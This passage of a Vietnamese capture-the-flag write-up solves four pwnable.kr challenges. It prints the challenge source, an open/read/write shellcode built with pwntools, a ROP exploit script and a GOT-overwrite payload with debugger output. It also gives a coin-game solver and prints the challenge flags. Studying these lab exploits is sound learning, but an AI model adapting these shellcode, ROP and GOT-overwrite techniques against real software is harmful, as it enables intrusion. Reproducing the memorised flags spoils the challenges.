clear! Stage 5 clear! Mommy! I learned how to pass various input in Linux :) ``` ### asm (6 pt) ``` Start day: 11/3/2025 End day: 11/3/2025 Evaluate: Easy ``` ```txt Information: 6 points Mommy! I think I know how to make shellcodes ssh asm@pwnable.kr -p2222 (pw: guest) ``` **Source code** ```bash asm@pwnable:~$ ls asm asm.c readme this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong asm@pwnable:~$ cat asm.c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <seccomp.h> #include <sys/prctl.h> #include <fcntl.h> #include <unistd.h> #define LENGTH 128 void sandbox(){ scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp error\n"); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); if (seccomp_load(ctx) < 0){ seccomp_release(ctx); printf("seccomp error\n"); exit(0); } seccomp_release(ctx); } char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"; unsigned char filter[256]; int main(int argc, char* argv[]){ setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); printf("Welcome to shellcoding practice challenge.\n"); printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n"); printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n"); printf("If this does not challenge you. you should play 'asg' challenge :)\n"); char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0); memset(sh, 0x90, 0x1000); memcpy(sh, stub, strlen(stub)); int offset = sizeof(stub); printf("give me your x64 shellcode: "); read(0, sh+offset, 1000); alarm(10); chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp sandbox(); ((void (*)(void))sh)(); return 0; } asm@pwnable:~$ ``` Ở bài này, chương trình cho phép truyền vào shellcode để thực thi. Tuy nhiên, chương trình chỉ cho phép dùng các syscall: **open**, **read** và **write** Dùng shellcraft trong pwntools để tạo một shellcode đọc file với 3 syscalls này ```python from pwn import * context(arch='amd64', os='linux') file_name = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong' length = 50 shellcode = asm( shellcraft.open(file_name) + shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100) + shellcraft.exit(0)) info(f"Shellcode: {disasm(shellcode)}") write("shellcode", shellcode) ``` **POC** ```bash asm@pwnable:~$ cat /tmp/asmshr3wd/shellcode | nc 0 9026 Welcome to shellcoding practice challenge. In this challenge, you can run your x64 shellcode under SECCOMP sandbox. Try to make shellcode that spits flag using open()/read()/write() systemcalls only. If this does not challenge you. you should play 'asg' challenge :) give me your x64 shellcode: Mak1ng_shelLcodE_i5_veRy_eaSy lease_read_this_file.sorry_the_file_name_is_very_looooooooooooooooooooasm@pwnable:~$ ``` ### horcruxes (7 pt) ``` Start day: 11/3/2025 End day: 11/3/2025 Evaluate: Easy ``` ```txt Information: 7 points Voldemort concealed his splitted soul inside 7 horcruxes. Find all horcruxes, and ROP it! author: jiwon choi ssh horcruxes@pwnable.kr -p2222 (pw:guest) ``` **Source code** ```bash horcruxes@pwnable:~$ ls horcruxes readme horcruxes@pwnable:~$ cat readme connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege. rop it to read the flag. horcruxes@pwnable:~$ ``` Ở challenge này không được cung cấp mã nguồn => Dùng IDA để phân tích. **Main function** ![Main_disass](https://hackmd.io/_uploads/ryhOUu6sJx.png) **init_ABCDEFG function** ![{init_ABCDEFG}](https://hackmd.io/_uploads/H1g3UOpiJg.png) **ropme function** ![{ropme}](https://hackmd.io/_uploads/S1l1Dd6s1l.png) Ở hàm **ropme**, có lỗi BOF ở hàm **gets(s)**. Kết hợp với tên hàm là rop, nên mình dự đoán bài này dùng kỹ thuật ROP để đọc các giá trị của các biến **a, b, c, d, e, f, g** rồi tính ra **sum**. > Ban đầu, mình nghĩ sẽ BOF để quay lại hàm **init_ABCDEFG**, sau đó rop đến địa chỉ của một hàm **puts** để in ra giá trị của **sum** cho tiết kiệm thời gian. Tuy nhiên, địa chỉ ở hàm **init_ABCDEFG** đều có dạng `080A****`. - Hàm **gets** sẽ lấy chuỗi nhập vào từ stdin cho đến ghi gặp ký tự xuống dòng **"\n"**, hay là **"0x0a"** - Do vậy nếu quay về hàm **init_ABCDEFG** thì sẽ chỉ nhận được 2 byte cuối địa chỉ thay vì toàn bộ địa chỉ => Điều này là không thể **Exploit code** ```python from pwn import * import re info = lambda msg: log.info(msg) s = lambda p, data: p.send(data) sa = lambda p, msg, data: p.sendafter(msg, data) sl = lambda p, data: p.sendline(data) sla = lambda p, msg, data: p.sendlineafter(msg, data) sn = lambda p, num: p.send(str(num).encode()) sna = lambda p, msg, num: p.sendafter(msg, str(num).encode()) sln = lambda p, num: p.sendline(str(num).encode()) slna = lambda p, msg, num: p.sendlineafter(msg, str(num).encode()) def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) gdbscript = ''' init-pwndbg continue '''.format(**locals()) def GDB(p): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x080a0107 c ''') input() exe = "./horcruxes" elf = context.binary = ELF(exe, checksec=False) io = start() sla(io, b"Menu:", b"1") call_ropme = 0x0809FFFC padding = 120 payload = flat( b"A" * padding, p32(elf.sym.A), p32(elf.sym.B), p32(elf.sym.C), p32(elf.sym.D), p32(elf.sym.E), p32(elf.sym.F), p32(elf.sym.G), p32(call_ropme) ) sla(io, b"earned? : ", payload) io.recvline() result = 0 for i in range(7): data = io.recvline().decode() result = eval(f"{result} {re.findall(r'\(EXP (\+\-?\d+)\)', data)[0]}") result = result % (2 ** 32) if result > 2147483647: result -= 2 ** 32 if result < -2147483648: result += 2 ** 32 info(f"Sum: {result}") sla(io, b"Menu:", b"1") sla(io, b"earned? : ", str(result).encode()) data = io.recvline().decode() info(f"Flag: {data}") ``` **POC** ```bash └─$ python3 sol.py REMOTE pwnable.kr 9032 [+] Opening connection to pwnable.kr on port 9032: Done [*] Sum: 1950399133 [*] Flag: Magic_spell_1s_4vad4_K3daVr4! [*] Closed connection to pwnable.kr port 9032 ``` ### passcode (10 pt) ``` Start day: 11/3/2025 End day: 11/3/2025 Evaluate: Easy ``` ```txt Information: 10 points Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that? ssh passcode@pwnable.kr -p2222 (pw:guest) ``` **Source code** ```bash passcode@pwnable:~$ ls flag passcode passcode.c passcode@pwnable:~$ cat passcode.c #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; } passcode@pwnable:~$ ``` Dựa vào mô tả của challenge và phân tích source code, mình nhận thấy có một lỗi ở hàm **scanf**. Cụ thể là: `scanf("%d", passcode1);` và `scanf("%d", passcode2);`. => Ở đây, khi nhập giá trị vào cho một biến kiểu int thì phải truyền vào **con trỏ địa chỉ** đến biến đó, nhưng ở đây truyền vào lại là **giá trị của biến** > Đoạn code đúng phải là: `scanf("%d", &passcode1);` Để biết được hàm scanf sẽ ghi vào địa chỉ nào thì quay lại việc hàm sử dụng **stack frame**. Hàm **login()** được gọi ngay sau khi hàm **welcome()** được gọi => **Stack frame** sẽ trùng nhau ![{stack_frame_of_welcome}](https://hackmd.io/_uploads/ryfgNFasJl.png) ![{stack_frame_of_login}](https://hackmd.io/_uploads/B1bz4Fasyg.png) => Giá trị của biến **passcode1** sẽ là giá trị của biến **name** ở địa chỉ có index là: `(-0x0C) - (-0x70) = 0x60 (Dec: 96)` => Tức là payload để nhập giá trị cho **passcode1** sẽ là: `b'A' * 96 + b'\xe6\x28\x05\x00'` ```bash pwndbg> 0x08048586 in login () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────── EAX 0x8048783 ◂— and eax, 0x6e650064 /* '%d' */ EBX 0xf7faae14 (_GLOBAL_OFFSET_TABLE_) ◂— 0x235d0c /* '\x0c]#' */ ECX 0 EDX 0x528e6 EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0 ESI 0x80486a0 (__libc_csu_init) ◂— push ebp EBP 0xffffc838 —▸ 0xffffc858 ◂— 0 ESP 0xffffc810 —▸ 0x8048783 ◂— and eax, 0x6e650064 /* '%d' */ *EIP 0x8048586 (login+34) —▸ 0xffff15e8 ◂— 0 ───────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────── 0x804857c <login+24> mov edx, dword ptr [ebp - 0x10] EDX, [0xffffc828] => 0x528e6 0x804857f <login+27> mov dword ptr [esp + 4], edx [0xffffc814] <= 0x528e6 0x8048583 <login+31> mov dword ptr [esp], eax [0xffffc810] <= 0x8048783 ◂— and eax, 0x6e650064 /* '%d' */ ► 0x8048586 <login+34> call __isoc99_scanf@plt <__isoc99_scanf@plt> format: 0x8048783 ◂— 0x65006425 /* '%d' */ vararg: 0x528e6 0x804858b <login+39> mov eax, dword ptr [0x804a02c] EAX, [stdin@@GLIBC_2.0] 0x8048590 <login+44> mov dword ptr [esp], eax 0x8048593 <login+47> call fflush@plt <fflush@plt> 0x8048598 <login+52> mov eax, 0x8048786 EAX => 0x8048786 ◂— outsb dx, byte ptr gs:[esi] /* 'enter passcode2 : ' */ 0x804859d <login+57> mov dword ptr [esp], eax 0x80485a0 <login+60> call printf@plt <printf@plt> 0x80485a5 <login+65> mov eax, 0x8048783 EAX => 0x8048783 ◂— and eax, 0x6e650064 /* '%d' */ ────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────── 00:0000│ esp 0xffffc810 —▸ 0x8048783 ◂— and eax, 0x6e650064 /* '%d' */ 01:0004│-024 0xffffc814 ◂— 0x528e6 02:0008│-020 0xffffc818 ◂— 0x41414141 ('AAAA') ... ↓ 3 skipped 06:0018│-010 0xffffc828 ◂— 0x528e6 07:001c│-00c 0xffffc82c ◂— 0x6163cf00 ──────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────── ► 0 0x8048586 login+34 1 0x8048684 main+31 2 0xf7d99d43 __libc_start_call_main+115 3 0xf7d99e08 __libc_start_main+136 4 0x80484d1 _start+33 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> ``` Tuy nhiên tới đây, mình nhận ra không thể ghi đè giá trị của **passcode2** bằng cách này được. Hmmmm... Tới đây, mình nghĩ ra một cách khác là thay vì tìm cách ghi giá trị cho 2 biến **passcode1** và **passcode2** cho hợp lý thì mình sẽ tìm cách thay đổi một giá trị nào đó khiến cho chương trình hoạt động theo ý mình muốn. Ở đây, mình sẽ cần 2 gadgets để thực hiện việc trên: - Tìm địa chỉ để ghi đè, thay đổi. > Trong các địa chỉ có quyền **write** thì mình nhớ đến **GOT (Global Offset Table)** - **0x804a004**. Ở đây mình sẽ chọn **fflush@GOT** vì nó là hàm sẽ được gọi đến ngay sau khi thực hiện việc `scanf("%d", passcode1);` - Tìm địa chỉ để ghi đè > Ở đây mình sẽ chọn ngay đến **0x080485d7**, vì nó sẽ thực hiện việc đẩy chuỗi **"Login OK!"** lên stack sau đó in ra màn hình (Mình chọn ở đây, do nếu flag có lỗi hay gì thì vẫn có evidence chứng mình exploit thành công) ```asm 0x080485cc <+104>: jne 0x80485f1 <login+141> 0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9 0x080485d5 <+113>: jne 0x80485f1 <login+141> 0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5 0x080485de <+122>: call 0x8048450 <puts@plt> 0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af 0x080485ea <+134>: call 0x8048460 <system@plt> 0x080485ef <+139>: leave ``` Vậy payload khai thác sẽ là: `b'A' * 96 + b'\x04\xa0\x04\x08' + str(0x080485d7).encode()` > **0x080485d7** phải truyền vào dưới dạng chuỗi vì nó sẽ là giá trị mình sẽ nhập vào khi được yêu cầu nhập **passcode1** => Ghi đè giá trị tại địa chỉ đã được ghi đè trước đó (Ở đây là **fflush@GOT**) **POC** ```bash passcode@pwnable:~$ python2 -c "print b'A' * 96 + b'\x04\xa0\x04\x08' + str(0x080485d7).encode()" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA134514135 passcode@pwnable:~$ python2 -c "print b'A' * 96 + b'\x04\xa0\x04\x08' + str(0x080485d7).encode()" | ./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! enter passcode1 : Login OK! Sorry mom.. I got confused about scanf usage :( Now I can safely trust you that you have credential :) passcode@pwnable:~$ ``` ### coin1 (6 pt) ``` Start day: 11/3/2025 End day: 11/3/2025 Evaluate: Easy ``` ```txt Information: 6 points Mommy, I wanna play a game! (if your network response time is too slow, try nc 0 9007 inside pwnable.kr server) Running at : nc pwnable.kr 9007 ``` Bài này không cung cấp source code, nên mình cố gắng kết nối đến server thì nhận được thông tin sau ![image](https://hackmd.io/_uploads/HyUOQoaiJl.png) Vậy là bài này sẽ là một bài giải toán :> **Solution** (Chưa tối ưu lắm, làm xong nhanh còn làm Đồ án @@ - P/s: Có thời gian sẽ quay lại tối ưu sau kkk) ```python from pwn import * r = remote("0", 9007) r.recv(4096) def solve(N, C): array = list(range(0, N)) mid = N // 2 left = array[:mid] right = array[mid:] mark = "l" result = 0 for i in range(C): if mark == 'l': data_send = " ".join(map(str, left)).encode() else: data_send = " ".join(map(str, right)).encode() r.sendline(data_send) data_recv = int(r.recvline().decode()) if data_recv == 9: result = int(data_send) continue elif data_recv == 10: if len(right) == 1: result = right[0] continue if data_recv % 10 == 0: array = left if mark == 'r' else right else: array = left if mark == 'l' else right mid = len(array) // 2 left = array[:mid] right = array[mid:] info("[Client] Result: %d" % result) r.sendline(str(result).encode()) for i in range(100): data = r.recvline().decode() data = data.split(" ") n, c = int(data[0][2:]), int(data[1][2:]) info("Phase %d: N = %d ; C = %d" % (i, n, c)) solve(n, c) info("[Server response]: %s" % r.recvline().decode()) r.interactive() ``` ![{poc_coin1}](https://hackmd.io/_uploads/SkT-EiToyx.png) ###